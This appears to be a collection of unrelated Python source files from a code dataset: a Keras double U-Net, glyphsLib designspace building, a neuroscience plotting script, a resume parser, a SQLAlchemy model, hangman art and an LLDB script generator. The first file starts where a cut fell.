conv6 = io_conv_2D(conv6, n_filters_initial*(2**3), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre7 = io_conv_2D_transp(conv6, n_filters_initial*(2**2), (2,2), (2,2))
up7 = io_concat_pad(pre7, conv3, 3)
conv7 = io_conv_2D(up7, n_filters_initial*(2**2), kernel_size)
conv7 = io_conv_2D(conv7, n_filters_initial*(2**2), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre8 = io_conv_2D_transp(conv7, n_filters_initial*(2**1), (2,2), (2,2))
up8 = io_concat_pad(pre8, conv2, 3)
conv8 = io_conv_2D(up8, n_filters_initial*(2**1), kernel_size)
conv8 = io_conv_2D(conv8, n_filters_initial*(2**1), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre9 = io_conv_2D_transp(conv8, n_filters_initial*(2**0), (2,2), (2,2))
up9 = io_concat_pad(pre9, conv1, 3)
conv9 = io_conv_2D(up9, n_filters_initial*(2**0), kernel_size)
conv9 = io_conv_2D(conv9, n_filters_initial*(2**0), kernel_size)
# final 1x1 convolution
conv10 = io_conv_2D(conv9, 3, 1)
#conv10 = keras.layers.Add()([conv0, conv10])
##### the output of 1-st U-net
# 2 convolutions + maxPool
conv21 = io_conv_2D(conv0, n_filters_initial*(2**0), kernel_size_2)
conv21 = io_conv_2D(conv21, n_filters_initial*(2**0), kernel_size_2)
pool21 = io_maxp_2D(conv21, pool_size)
# 2 convolutions + maxPool
conv22 = io_conv_2D(pool21, n_filters_initial*(2**1), kernel_size_2)
conv22 = io_conv_2D(conv22, n_filters_initial*(2**1), kernel_size_2)
pool22 = io_maxp_2D(conv22, pool_size)
# 2 convolutions + maxPool
conv23 = io_conv_2D(pool22, n_filters_initial*(2**2), kernel_size_2)
conv23 = io_conv_2D(conv23, n_filters_initial*(2**2), kernel_size_2)
pool23 = io_maxp_2D(conv23, pool_size)
# 2 convolutions + maxPool
conv24 = io_conv_2D(pool23, n_filters_initial*(2**3), kernel_size_2)
conv24 = io_conv_2D(conv24, n_filters_initial*(2**3), kernel_size_2)
pool24 = io_maxp_2D(conv24, pool_size)
# 2 convolutions
conv25 = io_conv_2D(pool24, n_filters_initial*(2**4), kernel_size_2)
conv25 = io_conv_2D(conv25, n_filters_initial*(2**4), kernel_size_2)
# 1 transpose convolution and concat + 2 convolutions
pre26 = io_conv_2D_transp(conv25, n_filters_initial*(2**3), (2,2), (2,2))
up26 = io_concat_pad(pre26, conv24, 3)
conv26 = io_conv_2D(up26, n_filters_initial*(2**3), kernel_size_2)
conv26 = io_conv_2D(conv26, n_filters_initial*(2**3), kernel_size_2)
pre27 = io_conv_2D_transp(conv26, n_filters_initial*(2**2), (2,2), (2,2))
up27 = io_concat_pad(pre27, conv23, 3)
conv27 = io_conv_2D(up27, n_filters_initial*(2**2), kernel_size_2)
conv27 = io_conv_2D(conv27, n_filters_initial*(2**2), kernel_size_2)
pre28 = io_conv_2D_transp(conv27, n_filters_initial*(2**1), (2,2), (2,2))
up28 = io_concat_pad(pre28, conv22, 3)
conv28 = io_conv_2D(up28, n_filters_initial*(2**1), kernel_size_2)
conv28 = io_conv_2D(conv28, n_filters_initial*(2**1), kernel_size_2)
# 1 transpose convolution and concat + 2 convolutions
pre29 = io_conv_2D_transp(conv28, n_filters_initial*(2**0), (2,2), (2,2))
up29 = io_concat_pad(pre29, conv21, 3)
conv29 = io_conv_2D(up29, n_filters_initial*(2**0), kernel_size_2)
conv29 = io_conv_2D(conv29, n_filters_initial*(2**0), kernel_size_2)
# final 1x1 convolution
conv20 = io_conv_2D(conv29, 3, 1)
conv30 = keras.layers.Average()([conv10, conv20])
# construct model
model = Model(inputs=[conv0], outputs=[conv30])
# Print info about model
model.summary()
# Set training parameters
model.compile(loss='mean_squared_error',
optimizer=optimizers.Adam(lr=learning_rate),
metrics=['mean_squared_error'])
# Train network
train_model = model.fit(train_im, train_sol,
batch_size=batch_size, epochs=n_epochs,
validation_data=(valid_im, valid_sol))
return(model, train_model)
| 36,434 | 14,127 |
# Copyright 2015 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import (print_function, division, absolute_import,
unicode_literals)
import logging
import os
from glyphsLib.builder import set_redundant_data, set_custom_params,\
set_default_params, GLYPHS_PREFIX
from glyphsLib.util import build_ufo_path, write_ufo, clean_ufo, clear_data
__all__ = [
'interpolate', 'build_designspace', 'apply_instance_data'
]
logger = logging.getLogger(__name__)
DEFAULT_LOC = 100
def interpolate(ufos, master_dir, out_dir, instance_data, debug=False):
"""Create MutatorMath designspace and generate instances.
Returns instance UFOs, or unused instance data if debug is True.
"""
from mutatorMath.ufo import build
designspace_path, instance_files = build_designspace(
ufos, master_dir, out_dir, instance_data)
logger.info('Building instances')
for path, _ in instance_files:
clean_ufo(path)
build(designspace_path, outputUFOFormatVersion=3)
instance_ufos = apply_instance_data(instance_files)
if debug:
return clear_data(instance_data)
return instance_ufos
def build_designspace(masters, master_dir, out_dir, instance_data):
"""Just create MutatorMath designspace without generating instances.
Returns the path of the resulting designspace document and a list of
(instance_path, instance_data) tuples which map instance UFO filenames to
Glyphs data for that instance.
"""
from mutatorMath.ufo.document import DesignSpaceDocumentWriter
for font in masters:
write_ufo(font, master_dir)
# needed so that added masters and instances have correct relative paths
tmp_path = os.path.join(master_dir, 'tmp.designspace')
writer = DesignSpaceDocumentWriter(tmp_path)
base_family, base_style = add_masters_to_writer(writer, masters)
instance_files = add_instances_to_writer(
writer, base_family, instance_data, out_dir)
basename = '%s%s.designspace' % (
base_family, ('-' + base_style) if base_style else '')
writer.path = os.path.join(master_dir, basename.replace(' ', ''))
writer.save()
return writer.path, instance_files
def add_masters_to_writer(writer, ufos):
"""Add master UFOs to a MutatorMath document writer.
Returns the masters' family name and shared style names. These are used for
naming instances and the designspace path.
"""
master_data = []
base_family = None
base_style = None
# only write dimension elements if defined in at least one of the masters
dimension_names = []
for s in ('weight', 'width', 'custom'):
key = GLYPHS_PREFIX + s + 'Value'
if any(key in font.lib for font in ufos):
dimension_names.append(s)
for font in ufos:
family, style = font.info.familyName, font.info.styleName
if base_family is None:
base_family = family
else:
assert family == base_family, 'Masters must all have same family'
if base_style is None:
base_style = style.split()
else:
base_style = [s for s in style.split() if s in base_style]
master_data.append((font.path, family, style, {
s: font.lib.get(GLYPHS_PREFIX + s + 'Value', DEFAULT_LOC)
for s in dimension_names}))
# pick a master to copy info, features, and groups from, trying to find the
# master with a base style shared between all masters (or just Regular) and
# defaulting to the first master if nothing is found
base_style = ' '.join(base_style)
info_source = 0
for i, (path, family, style, location) in enumerate(master_data):
if family == base_family and style == (base_style or 'Regular'):
info_source = i
break
for i, (path, family, style, location) in enumerate(master_data):
is_base = (i == info_source)
writer.addSource(
path=path, name='%s %s' % (family, style),
familyName=family, styleName=style, location=location,
copyFeatures=is_base, copyGroups=is_base, copyInfo=is_base,
copyLib=is_base)
return base_family, base_style
def add_instances_to_writer(writer, family_name, instance_data, out_dir):
"""Add instances from Glyphs data to a MutatorMath document writer.
Returns a list of <ufo_path, font_data> pairs, corresponding to the
instances which will be output by the document writer. The font data is the
Glyphs data for this instance as a dict.
"""
default_family_name = instance_data.pop('defaultFamilyName')
instance_data = instance_data.pop('data')
ofiles = []
# only write dimension elements if defined in at least one of the instances
dimension_names = []
for s in ('weight', 'width', 'custom'):
key = 'interpolation' + s.title()
if any(key in instance for instance in instance_data):
dimension_names.append(s)
for instance in instance_data:
# Glyphs.app recognizes both "exports=0" and "active=0" as a flag
# to mark instances as inactive. Those should not be instantiated.
# https://github.com/googlei18n/glyphsLib/issues/129
if (not int(instance.pop('exports', 1))
or not int(instance.pop('active', 1))):
continue
instance_family = default_family_name
custom_params = instance.get('customParameters', ())
for i in range(len(custom_params)):
if custom_params[i]['name'] == 'familyName':
instance_family = custom_params[i]['value']
break
if not instance_family:
continue
style_name = instance.pop('name')
ufo_path = build_ufo_path(out_dir, instance_family, style_name)
ofiles.append((ufo_path, instance))
writer.startInstance(
name=' '.join((instance_family, style_name)),
location={
s: instance.pop('interpolation' + s.title(), DEFAULT_LOC)
for s in dimension_names},
familyName=instance_family,
styleName=style_name,
fileName=ufo_path)
writer.writeInfo()
writer.writeKerning()
writer.endInstance()
return ofiles
def apply_instance_data(instance_data):
"""Open instances, apply data, and re-save.
Args:
instance_data: List of (path, data) tuples, one for each instance.
dst_ufo_list: List to add opened instances to.
Returns:
List of opened and updated instance UFOs.
"""
from defcon import Font
instance_ufos = []
for path, data in instance_data:
ufo = Font(path)
set_custom_params(ufo, data=data)
set_default_params(ufo)
set_redundant_data(ufo)
ufo.save()
instance_ufos.append(ufo)
return instance_ufos
| 7,447 | 2,187 |
import argparse
import numpy as np
import os
import sys
import matplotlib
matplotlib.use('Agg')
import json
import matplotlib.pyplot as plt
import matplotlib.gridspec as gridspec
import mpl_toolkits.axes_grid.inset_locator
import helper as hf
import plot_helper as phf
import seaborn as sns
import scipy.stats as stat
from matplotlib import mlab
import pandas as pd
# sns.set_palette(sns.light_palette("blue"))
parser = argparse.ArgumentParser()
parser.add_argument("-glo", '--groupstatlist_original', help="list of group stat files", nargs="+")
parser.add_argument("-glp", '--groupstatlist_python', help="list of group stat files", nargs="+")
parser.add_argument('--output', type=str)
args = parser.parse_args()
def return_val(stats):
if 'Failed' in stats.keys():
ngr='Failed'
elif 'Failed' not in stats.keys():
ngr = len(stats['N_fired'])
else:
ngr = np.nan
return ngr
exp,reps=[],[]
ngr_o=[]
ngr_p=[]
rate_exc=[]
rate_inh=[]
spek_peak=[]
experiments=[i.split('/')[2] for i in args.groupstatlist_original]+[i.split('/')[2] for i in args.groupstatlist_python]
for experiment in np.unique(experiments):
repetitions = [i.split('/')[3] for i in args.groupstatlist_original if i.split('/')[2]==experiment] + \
[i.split('/')[3] for i in args.groupstatlist_python if i.split('/')[2]==experiment]
repetitions=np.sort(np.unique(repetitions))
for repetition in repetitions:
print(repetition,experiment)
file_p='data/NEST_model/{e}/{r}/stats.json'.format(e=experiment,r=repetition)
if os.path.isfile(file_p):
with open(file_p, "r") as f_p:
stats_p = json.load(f_p)
ngr_p_ = return_val(stats_p)
else:
ngr_p_=np.nan
#print(stats_p)
file_o='data/NEST_model/{e}/{r}/stats_orig.json'.format(e=experiment,r=repetition )
#print(file)
if os.path.isfile(file_o):
with open(file_o, "r") as f_o:
stats_o = json.load(f_o)
ngr_o_ = return_val(stats_o)
else:
ngr_o_ = np.nan
spk_fl = 'data/NEST_model/{e}/{r}/spikes-1001.gdf'.format(e=experiment,r=repetition )
data = np.loadtxt(spk_fl)
senders, times = data[:, 0], data[:, 1]
mean_ex, mean_inh, max_freq = phf.get_rates(times, senders)
if max_freq<50:
spek_peak.append('low')
else:
spek_peak.append('high')
ngr_o.append(ngr_o_)
ngr_p.append(ngr_p_)
exp.append(experiment.replace('_',' '))
reps.append(repetition)
rate_exc.append(mean_ex)
rate_inh.append(mean_inh)
df=pd.DataFrame({'Number of groups':ngr_o,
'Number of groups (nest)':ngr_p,
'Experiment':exp,
'reps':reps,
'exc_rate':rate_exc,
'inh_rate': rate_inh,
'spektral peak':spek_peak
})
def iqr(df):
return df.quantile(.75)-df.quantile(.25)
df_latex=df.replace(value=np.nan,to_replace='Failed').groupby(['Experiment'])['Number of groups', 'Number of groups (nest)','exc_rate','inh_rate','spektral peak'].agg([np.median,iqr,'min','max','count']) #.agg([np.median,iqr])
print(df_latex.to_latex())
print(df_latex)
df_latex_spek=df.replace(value=np.nan,to_replace='Failed').groupby(['Experiment','spektral peak'])['Number of groups', 'Number of groups (nest)','exc_rate','inh_rate','spektral peak'].agg([np.median,iqr,'min','max','count']) #.agg([np.median,iqr])
print(df_latex_spek.to_latex())
print(df_latex_spek)
phf.latexify(fig_height=6., columns=1)
fig = plt.figure()
N = 9
N_bot = 5
M = 4
gs0 = gridspec.GridSpec(N, M)
ax_orig = plt.subplot(gs0[:N_bot, :M - 1])
ax_nest = plt.subplot(gs0[N_bot:, 0:M - 1])
ax_orig_broken = fig.add_subplot(gs0[:N_bot, M - 1]) # , sharey=ax_orig)
ax_nest_broken = fig.add_subplot(gs0[N_bot:, M - 1]) # , sharey=ax_nest)
orig_pal = ['C2', 'C1', 'C0', 'C5', 'C4', 'C4', 'C4', 'C4', 'C4', 'C4', 'C4']
orig_exp_order = ['initial reproduction',
'bitwise reproduction',
'qualitative model',
'poisson stimulus',
'stdp window match',
'const add value 0p0',
'synapse update interval 0p1s',
'synapse update interval 10s',
'time driven additive 1s',
'tau syn update interval 2s',
'tau syn update interval 1000s']
orig_names = ['Initial model',
'Bitwise reproduction',
'Qualitative model',
'Poisson stimulus',
'STDP window match',
'No additive factor',
'Buffer length $0.1\;\mathrm{s}$',
'Buffer length $10\;\mathrm{s}$',
'No elig. trace',
'Elig. trace $2\;\mathrm{s}$',
'Elig. trace $1000\;\mathrm{s}$',
]
width = 1.25
ax_orig = sns.boxplot(data=df.replace(value=np.nan,to_replace='Failed'),
y='Experiment',
x='Number of groups',
order=orig_exp_order,
palette=orig_pal,
fliersize=0,
ax=ax_orig,
linewidth=width,
width=0.6)
ax_orig_broken = sns.boxplot(data=df.replace(value=np.nan,to_replace='Failed'),
y='Experiment',
x='Number of groups',
order=orig_exp_order,
palette=orig_pal,
fliersize=0,
ax=ax_orig_broken,
linewidth=width,
width=0.6)
ax_orig.set_yticklabels(orig_names)
nest_pal = ['C1', 'C0', 'C3', 'C3', 'C3', 'C3','C4', 'C4']
nest_exp_order = ['bitwise reproduction',
'qualitative model',
'delay distribution 20',
'delay distribution 15',
'delay distribution 10',
'delay distribution 5',
'resolution 0p1 W pspmatched',
'qualitative model high res',
]
name_order = ['Bitwise reproduction',
'Qualitative model',
r'Delay $\in \left[1,20\right]\;\mathrm{ms}$',
r'Delay $\in \left[1,15\right]\;\mathrm{ms}$',
r'Delay $\in \left[1,10\right]\;\mathrm{ms}$',
r'Delay $\in \left[1,5\right]\;\mathrm{ms}$',
r'Resolution $0.1\;\mathrm{ms}$',
r'Improved integration',
]
ax_nest = sns.boxplot(data=df.replace(value=np.nan,to_replace='Failed'),
y='Experiment',
x='Number of groups (nest)',
order=nest_exp_order,
palette=nest_pal,
fliersize=0,
ax=ax_nest, linewidth=width,
width=0.5)
ax_nest_broken = sns.boxplot(data=df.replace(value=np.nan,to_replace='Failed'),
y='Experiment',
x='Number of groups (nest)',
order=nest_exp_order,
palette=nest_pal,
fliersize=0,
ax=ax_nest_broken,
linewidth=width,
width=0.6)
print(ax_nest.get_yticks())
ax_nest.set_yticklabels(name_order)
for ax in [ax_orig_broken, ax_nest_broken]:
# ax.axis('off')
# if ax !=ax_delay:
# ax.set_xscale('log')
ax.spines['top'].set_visible(False)
ax.spines['right'].set_visible(False)
ax.spines['left'].set_visible(False)
ax.set_yticks(())
ax.set_ylabel('')
ax_orig_broken.set_xlabel('')
ax_nest_broken.set_xlabel('')
ax_orig_broken.set_xlim((6000, 70000))
ax_orig_broken.set_xticks((10000, 70000))
ax_orig_broken.set_xticklabels(('10k', '70k'))
ax_nest_broken.set_xlim((10000, 40000))
ax_nest_broken.set_xticks((20000, 40000))
ax_nest_broken.set_xticklabels(('20k', '40k'))
ax_orig.set_xlim((-500, 6000))
ax_orig.set_xticks((0, 2500, 5000))
ax_nest.set_xlim((-500, 8500))
for ax in [ax_orig, ax_nest]:
# ax.axis('off')
# if ax !=ax_delay:
# ax.set_xscale('log')
ax.spines['top'].set_visible(False)
ax.spines['right'].set_visible(False)
# ax.set_yticks(())
# if ax !=ax_delay:
# ax.set_xticks(())
# ax.set_xlabel('')
# ax.spines['bottom'].set_visible(False)
# ax_orig.set_ylabel('original group finding algorithm')
# ax_nest.set_ylabel('NEST group finding algorithm')
ax_orig.set_ylabel('')
ax_nest.set_ylabel('')
ax_orig.set_xlabel('Number of groups')
ax_nest.set_xlabel('Number of groups (Python)')
# iqr=df.loc[df['Experiment']=='qualitative model','Number of Groups'].quantile(0.75)-df.loc[df['Experiment']=='qualitative model','Number of Groups'].quantile(0.25)
min_line = df.loc[df['Experiment'] == 'bitwise reproduction', 'Number of groups'].quantile(0.25) # -1.5*iqr
max_line = df.loc[df['Experiment'] == 'bitwise reproduction', 'Number of groups'].quantile(0.75) # +1.5*iqr
min_line
ax_orig.axvline(min_line, zorder=0, linestyle='--', color='C1')
ax_orig.axvline(max_line, zorder=0, linestyle='--', color='C1')
min_line = df.loc[df['Experiment'] == 'bitwise reproduction', 'Number of groups (nest)'].quantile(0.25)
max_line = df.loc[df['Experiment'] == 'bitwise reproduction', 'Number of groups (nest)'].quantile(0.75)
min_line
ax_nest.axvline(min_line, zorder=0, linestyle='--', color='C1')
ax_nest.axvline(max_line, zorder=0, linestyle='--', color='C1')
ax_orig.annotate(r'\textbf{A}', xy=(-0.95, 1.05), xycoords='axes fraction',
horizontalalignment='left', verticalalignment='top', annotation_clip=False)
ax_nest.annotate(r'\textbf{B}', xy=(-0.95, 1.06), xycoords='axes fraction',
horizontalalignment='left', verticalalignment='top', annotation_clip=False)
xy = (0, ax_nest.get_yticks()[-1])
#ax_nest.annotate(xy=xy, xytext=xy, s=r'\textbf{X}', ha='center', va='center')
# xy=(ax_orig_broken.get_xticks()[-1],ax_orig.get_yticks()[-1])
# ax_orig_broken.annotate(xy=xy,xytext=xy,s=r'$\rip$',ha='center',va='center',fontsize=20)
# xy=(ax_orig_broken.get_xticks()[-1],ax_orig.get_yticks()[-1])
# ax_orig_broken.annotate(xy=xy,xytext=xy,s=r'$\rip$',ha='center',va='center',fontsize=20)
xy = (ax_orig_broken.get_xticks()[-1], ax_orig.get_yticks()[-4])
ax_orig_broken.annotate(xy=xy, xytext=xy, s=r'$\rip$', ha='center', va='center', fontsize=20)
# xy=(ax_orig_broken.get_xticks()[-1],ax_orig.get_yticks()[-4])
# ax_orig_broken.annotate(xy=xy,xytext=xy,s=r'$\rip$',ha='center',va='center',fontsize=20)
gs0.update(left=0.4, right=0.95, top=0.97, bottom=0.07, hspace=1.99, wspace=0.35)
plt.savefig(args.output) | 10,934 | 4,034 |
# importing all required libraries
import os
import traceback
# importing libraries for computer vision
import numpy as np
import cv2
import imutils
from imutils import contours
from imutils.perspective import four_point_transform
from skimage.filters import threshold_local
# importing libraries to read text from image
from PIL import Image
import pytesseract
import re
import json
from docx2pdf import convert
from pyresparser import ResumeParser
import image_text_extractor
from image_text_extractor import image_extract
import subprocess
from os import rename
import shutil
import time
def main():
# import resumes from directory
directory = 'resumes/'
directory3 = 'pdfs/'
dir_list = os.listdir(directory)
dir_list.sort(key=lambda f: os.path.splitext(f)[1], reverse = True)
for filename in dir_list:
if filename.endswith(".pdf"):
full_path = os.path.join(directory, filename)
extract_info(full_path)
elif filename.endswith(".docx"):
full_path = os.path.join(directory, filename)
out = subprocess.Popen(['unoconv', str(full_path)], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
stdout,stderr = out.communicate()
time.sleep(5)
target_path = os.path.join(os.path.dirname(__file__), str(full_path[:-5]) + ".pdf")
m = str(target_path).replace('resumes/','pdfs/')
shutil.move(str(target_path), os.path.join(directory3, str(m)))
time.sleep(5)
#new_path = str(target_path[:-4]) + ".docx" + ".pdf"
#rename(target_path, new_path)
extract_info(full_path)
elif filename.endswith(".jpg"):
full_path = os.path.join(directory, filename)
x = image_extract()
out = subprocess.Popen(['unoconv', str(full_path)], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
stdout,stderr = out.communicate()
time.sleep(5)
target_path = os.path.join(os.path.dirname(__file__), str(x) + ".pdf")
file_name = str(full_path[:-4]) + ".pdf"
n = file_name.replace('resumes/','')
shutil.move(os.path.join(directory, str(n)), os.path.join(directory3, str(n)))
time.sleep(5)
extract_info(x)
else:
pass
def extract_info(full_path):
directory = 'resumes/'
directory2 = 'jsons/'
directory3 = 'pdfs/'
data = {}
with open(full_path, 'r') as f:
#print(full_path)
data = ResumeParser(full_path).get_extracted_data()
time.sleep(5)
z = full_path.replace('resumes/','')
json_file_name = str(directory2) + str(z) + ".json"
clean_data = re.sub('\u2013', '', str(data))
clean_data = re.sub('\uf0b7', '', clean_data)
clean_data = re.sub('\u200b', '', clean_data)
clean_data = re.sub(r'\\uf0b7', '', clean_data)
clean_data = re.sub(r'[^\x00-\x7F]+|\x0c',' ', clean_data)
clean_data = re.sub(r"'", '"', clean_data)
clean_data = re.sub(r'None', 'null', clean_data)
clean_data = json.loads(clean_data.replace("\'", '"'))
jpg_file_name = str(directory2) + str(z[:-5]) + ".json"
pdf_file_name = str(full_path[:-9]) + ".pdf"
l = pdf_file_name.replace('resumes/','')
word_file_name = str(full_path[:-5]) + ".pdf"
m = word_file_name.replace('resumes/','')
if full_path.endswith(".jpg.docx"):
with open(jpg_file_name, 'w') as outfile:
json.dump(clean_data, outfile)
#shutil.move(str(pdf_file_name), os.path.join(directory3, str(l)))
os.remove(full_path)
os.remove(str(full_path[:-5]))
elif full_path.endswith(".pdf"):
with open(json_file_name, 'w') as outfile:
json.dump(clean_data, outfile)
shutil.move(os.path.join(directory, str(z)), os.path.join(directory3, str(z)))
time.sleep(5)
else:
with open(json_file_name, 'w') as outfile:
json.dump(clean_data, outfile)
os.remove(full_path)
if __name__ == '__main__':
main()
| 4,306 | 1,405 |
import sqlalchemy
import pyodbc
from sqlalchemy import create_engine
from sqlalchemy import Column, Integer, String, DateTime, Float
from sqlalchemy.sql import func
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy_utils import database_exists, create_database
from sqlalchemy.orm import sessionmaker, Session
CONNECTION_STR = "mssql+pyodbc://user:password@127.0.0.1/testDB?driver=SQL+Server"
# create db
Base = declarative_base()
class Transaction(Base):
__tablename__ = 'Transactions'
id = Column(Integer, primary_key=True)
fromAddr = Column(String)
Destination = Column(String)
Amount = Column(Float)
Module = Column(String)
Method = Column(String)
created_at = Column(DateTime(timezone=True), server_default=func.now())
def __repr__(self):
str = f"Transaction(fromAddr='{self.fromAddr}', Destination='{self.Destination}',\
Amount='{self.Amount}', Module='{self.Module}, Method={self.Method}, 'created_at={self.created_at}')"
return str
# write data to db
def writeData(data):
engine = create_engine(CONNECTION_STR)
if not database_exists(engine.url):
create_database(engine.url)
Session = sessionmaker(engine)
session = Session()
new_trx = Transaction(
fromAddr = data['Signature'],
Destination = data['Dest'],
Amount = data['Amount'],
Module = data['Pallet'],
Method = data['Call'],
)
session.add(new_trx)
print(f'\nExecuting add query:\n', new_trx)
session.commit()
# some testing + table creation
'''
trx = Transaction(fromAddr=1, Destination=2011, Amount=1000000, Module='Balances', Method='Transfer')
engine = create_engine(CONNECTION_STR)
if not database_exists(engine.url):
create_database(engine.url)
Base.metadata.create_all(engine)
Session = sessionmaker(engine)
with Session.begin() as session:
session.add(trx)
trxs = session.query(Transaction).all()
print(trxs)
'''
| 1,991 | 645 |
hangman_title = r"""
____ ____ ____ ____ ____ ____ ____
||H ||||a ||||n ||||g ||||m ||||a ||||n ||
||__||||__||||__||||__||||__||||__||||__||
|/__\||/__\||/__\||/__\||/__\||/__\||/__\| """
hangman_stages = [r"""
____
|/ |
|
|
|
|
===== """, r"""
____
|/ |
| O
|
|
|
===== """, r"""
____
|/ |
| O
| |
|
|
===== """, r"""
____
|/ |
| O
| /|
|
|
===== """, r"""
____
|/ |
| O
| /|\
|
|
===== """, r"""
____
|/ |
| O
| /|\
| /
|
===== """, r"""
____
|/ |
| O
| /|\
| / \
|
===== """]
| 943 | 365 |
# MIT License
# Copyright (c) 2017 Derek Selander
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import lldb
import os
import optparse
import shlex
from stat import *
def __lldb_init_module(debugger, internal_dict):
debugger.HandleCommand(
'command script add -f generate_new_script.generate_new_script __generate_script -h "generates new LLDB script"')
def generate_new_script(debugger, command, exe_ctx, result, internal_dict):
'''
Generates a new script in the same directory as this file.
Can generate function styled scripts or class styled scripts.
Expected Usage:
__generate_script cool_command
reload_lldbinit
cool_command
'''
command_args = shlex.split(command, posix=False)
parser = generate_option_parser()
try:
(options, args) = parser.parse_args(command_args)
except:
result.SetError(parser.usage)
return
if not args:
result.SetError('Expects a filename. Usage: __generate_script filename')
return
clean_command = ('').join(args)
file_path = str(os.path.splitext(os.path.join( os.path.dirname(__file__), clean_command))[0] + '.py')
if os.path.isfile(file_path):
result.SetError('There already exists a file named "{}", please remove the file at "{}" first'.format(clean_command, file_path))
return
if options.create_class:
script = generate_class_file(clean_command, options)
else:
script = generate_function_file(clean_command, options)
create_or_touch_filepath(file_path, script)
os.system('open -R ' + file_path)
result.AppendMessage('Opening \"{}\"...'.format(file_path))
def generate_class_file(filename, options):
resolved_name = options.command_name if options.command_name else filename
script = r'''
import lldb
import os
import shlex
import optparse
def __lldb_init_module(debugger, internal_dict):
debugger.HandleCommand('''
script += "'command script add -c " + filename + ".LLDBCustomCommand " + resolved_name + "')"
script += r'''
class LLDBCustomCommand:
def __init__(self, debugger, session_dict):
# This is where you setup properties for the class
pass
def __call__(self, debugger, command, exe_ctx, result):
# This is where you handle the command
command_args = shlex.split(command, posix=False)
parser = self.generate_option_parser()
try:
(options, args) = parser.parse_args(command_args)
except:
result.SetError(parser.usage)
return
# Uncomment if you are expecting at least one argument
# clean_command = shlex.split(args[0])[0]
result.AppendMessage('Hello! the ''' + resolved_name + r''' command is working!')
def generate_option_parser(self):
usage = "usage: %prog [options] path/to/item"
parser = optparse.OptionParser(usage=usage, prog="''' + resolved_name + r'''")
parser.add_option("-m", "--module",
action="store",
default=None,
dest="module",
help="This is a placeholder option to show you how to use options with strings")
parser.add_option("-c", "--check_if_true",
action="store_true",
default=False,
dest="store_true",
help="This is a placeholder option to show you how to use options with bools")
return parser
def get_short_help(self):
return 'Short help goes here'
def get_long_help(self):
return '''
script += "'''\n Your long help goes here\n '''"
return script
def generate_function_file(filename, options):
resolved_name = options.command_name if options.command_name else filename
script = r'''
import lldb
import os
import shlex
import optparse
def __lldb_init_module(debugger, internal_dict):
debugger.HandleCommand(
'''
script += '\'command script add -f {}.handle_command {} -h "{}"\')'.format(filename, resolved_name, "Short documentation here")
script += r'''
def handle_command(debugger, command, exe_ctx, result, internal_dict):
'''
script += "\'\'\'\n Documentation for how to use " + resolved_name + " goes here \n \'\'\'"
script += r'''
command_args = shlex.split(command, posix=False)
parser = generate_option_parser()
try:
(options, args) = parser.parse_args(command_args)
except:
result.SetError(parser.usage)
return
# Uncomment if you are expecting at least one argument
# clean_command = shlex.split(args[0])[0]
'''
script += "result.AppendMessage('Hello! the " + resolved_name + " command is working!')"
script += r'''
def generate_option_parser():
usage = "usage: %prog [options] TODO Description Here :]"
parser = optparse.OptionParser(usage=usage, prog="''' + resolved_name + r'''")
parser.add_option("-m", "--module",
action="store",
default=None,
dest="module",
help="This is a placeholder option to show you how to use options with strings")
parser.add_option("-c", "--check_if_true",
action="store_true",
default=False,
dest="store_true",
help="This is a placeholder option to show you how to use options with bools")
return parser
'''
return script
def create_or_touch_filepath(filepath, script):
file = open(filepath, "w")
file.write(script)
file.flush()
st = os.stat(filepath)
os.chmod(filepath, st.st_mode | S_IEXEC)
file.close()
def generate_option_parser():
usage = "usage: %prog [options] nameofscript"
parser = optparse.OptionParser(usage=usage, prog="__generate_script")
parser.add_option("-n", "--command_name",
action="store",
default=None,
dest="command_name",
help="By default, the script will use filename for the LLDB command. This will override the command name to a name of your choosing")
parser.add_option("-c", "--create_class",
action="store_true",
default=False,
dest="create_class",
help="By default, this script creates a function. This will use a class instead")
return parser
| 7,572 | 2,189 |
#!/usr/bin/python
'''
from django import forms
from django.contrib.auth import authenticate
#from django.contrib.auth import login
class LoginForm(forms.Form):
username = forms.CharField(max_length=255, required=True)
password = forms.CharField(widget=forms.PasswordInput, required=True)
def clean(self):
username = self.cleaned_data.get('username')
password = self.cleaned_data.get('password')
user = authenticate(username=username, password=password)
if not user or not user.is_active:
raise forms.ValidationError("Sorry, that login was invalid. Please try again.")
return self.cleaned_data
def login(self, request):
username = self.cleaned_data.get('username')
password = self.cleaned_data.get('password')
user = authenticate(username=username, password=password)
return user
'''
| 888 | 242 |
import matplotlib.pyplot as plt
import numpy as np
import math
from matplotlib import patches
from matplotlib import transforms
import matplotlib.colors as colors
from matplotlib import cm
from matplotlib import rc
__author__ = 'ernesto'
# if use latex or mathtext
rc('text', usetex=False)
rc('mathtext', fontset='cm')
# colors from coolwarm
cNorm = colors.Normalize(vmin=0, vmax=1)
scalarMap = cm.ScalarMappable(norm=cNorm, cmap=cm.coolwarm)
